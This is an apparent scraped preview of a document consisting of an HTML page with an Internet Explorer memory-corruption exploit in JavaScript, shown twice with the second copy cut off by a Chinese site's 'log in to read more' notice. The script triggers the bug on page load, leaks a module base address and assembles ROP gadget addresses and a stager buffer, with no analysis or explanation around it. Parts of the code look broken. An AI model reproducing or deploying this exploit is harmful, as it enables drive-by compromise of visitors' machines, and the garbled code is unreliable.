<html> <head> <script>var largeBuffer = unescape('%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC'); function funhellokey(dword) { var d = Number(dword).toString(16); while (d.length < 8) d = '0' + d; return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));}; function funloadon() { var tag = 0x12345678; var vtable1 = funhellokey(tag) + '11111110000000000'; var tarrybuf = new Array(); for (i = 0; i < 4096; i++) tarrybuf[i] = '' + vtable1; var divs = new Array(); for (var i = 0; i < 137; i++) divs.push(document.createElement('div')); var expvalueclass = document.createElement('div'); var expvaluedtkvee = document.createElement('div'); document.body.appendChild(expvalueclass); document.body.appendChild(expvaluedtkvee); expvalueclass.onpropertychange = expvalueclass.attributes; expvaluedtkvee.onpropertychange = expvaluedtkvee.attributes; for (var i = 0; i < 27; i++) expvalueclass.style.position = ''; expvalueclass.onpropertychange = null; expvalueclass.onpropertychange; divs[0].title = vtable1; divs[1].title = vtable1; divs[2].title = vtable1; divs[3].title = vtable1; expvalueclass.style.color = 'red'; var tempkktvalue = 0; for (var i = 0; i < 4; i++) { var adtakever = divs[i].title.substr(0, 2); adtakever = escape(adtakever).replace(/%u(\w\w\w\w)%u(\w\w\w\w)/, "0x$2$1"); adtakever = parseInt(adtakever); if (isNaN(adtakever)) continue; if (adtakever != tag) { tempkktvalue = ((adtakever & 0xFFFF0000) - 0x530000); break; }; }; if (tempkktvalue == 0) { location.reload(); return false; }; var temppvalue11 = 0; var ttt = funhellokey(tempkktvalue + 0x00069f57); var temppvalue13 = 0; var temppvalue14 = 0; var gethookver = 0; var and_eax_ecx_ret = 0; var temppvalue16 = 0; var valuettgot09 = 0; var valuettgot10 = 0; var valuettgot11 = 0; var valuettgot12 = 0; var valuettgot13 = 0; var valuettgotex = 0x001e2cde; var valuettgotexd = 17; var alertvaluewar = 0x000ce96e; alertvaluewatchIn = 18; temppvalue11 = funhellokey(tempkktvalue + 0x00539000); temppvalue13 = funhellokey(tempkktvalue + 0x0018a7c7); temppvalue14 = funhellokey(tempkktvalue + 0x00070b89); gethookver = funhellokey(tempkktvalue + 0x00002ffe); temppvalue15 = funhellokey(tempkktvalue + 0x0046ae66); temppvalue16 = funhellokey(tempkktvalue + 0x00352845); valuettgot09 = funhellokey(tempkktvalue + 0x0025d780); valuettgot10 = funhellokey(tempkktvalue + 0x00001318); valuettgot11 = funhellokey(tempkktvalue + 0x0018e7f8); valuettgot12 = funhellokey(tempkktvalue + 0x004bdd33); valuettgot13 = funhellokey(tempkktvalue + 0x0051e7db); var ttemphkv = ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt; var rop_stager = parseInt('11' + funhellokey(tempkktvalue + 0x00069f57) + 'CCCC' + funhellokey(tempkktvalue + 0x00069f57) + ttemphkv + temppvalue14 + gethookver + funhellokey(0xFFFFF000) + temppvalue15 + '66' + temppvalue16 + '9999' + valuettgot09 + valuettgot10 + valuettgot11 + funhellokey(0x00003000) + funhellokey(0x00000040) + temppvalue11 + temppvalue13 + temppvalue14 + '0000' + gethookver + funhellokey(32) + valuettgot12 + '11' + valuettgot13 + largeBuffer + unescape("%u0000")); var zom = funhellokey(tempkktvalue + valuettgotex); var table_pointer = document.createElement('option').index; var alertvalue = table_pointer + (16 * valuettgotexd) + 8; var alertvaluewatch = table_pointer + (16 * alertvaluewatchIn) + 8; var vtable2 = funhellokey(alertvalue - 4) + '11' + funhellokey(alertvaluewatch - 8) + funhellokey(tempkktvalue + alertvaluewar) + '2222' + funhellokey(tempkktvalue + valuettgotex) + '33' + temppvalue13 + '4'; expvaluedtkvee.style.position = ''; expvaluedtkvee.onpropertychange = null; expvaluedtkvee.onpropertychange; divs[4].title = vtable2; divs[5].title = vtable2; divs[6].title = vtable2; divs[7].title = vtable2; expvaluedtkvee.onpropertychange;}; function Funalertshow(dword) { if (dword < 0) dword = 0xFFFFFFFF + dword + 1; var p = dword.toString(16).toUpperCase(); while (p.length < 8) p = '0' + p; return "0x" + p;} </script> </head> <body onload = 'funloadon()'> </body></html>
<html> <head> <script>
var largeBuffer = unescape('%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC');
function funhellokey(dword) {
var d = Number(dword).toString(16);
while (d.length < 8) d = '0' + d;
return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
};
function funloadon() {
var tag = 0x12345678;
var vtable1 = funhellokey(tag) + '11111110000000000';
var tarrybuf = new Array();
for (i = 0; i < 4096; i++) tarrybuf[i] = '' + vtable1;
var divs = new Array();
for (var i = 0; i < 137; i++) divs.push(document.createElement('div'));
var expvalueclass = document.createElement('div');
var expvaluedtkvee = document.createElement('div');
document.body.appendChild(expvalueclass);
document.body.appendChild(expvaluedtkvee);
expvalueclass.onpropertychange = expvalueclass.attributes;
expvaluedtkvee.onpropertychange = expvaluedtkvee.attributes;
for (var i = 0; i < 27; i++) expvalueclass.style.position = '';
expvalueclass.onpropertychange = null;
expvalueclass.onpropertychange;
divs[0].title = vtable1;
divs[1].title = vtable1;
divs[2].title = vtable1;
divs[3].title = vtable1;
本内容试读结束，登录后可阅读更多
下载后可阅读完整内容，剩余3页未读，立即下载
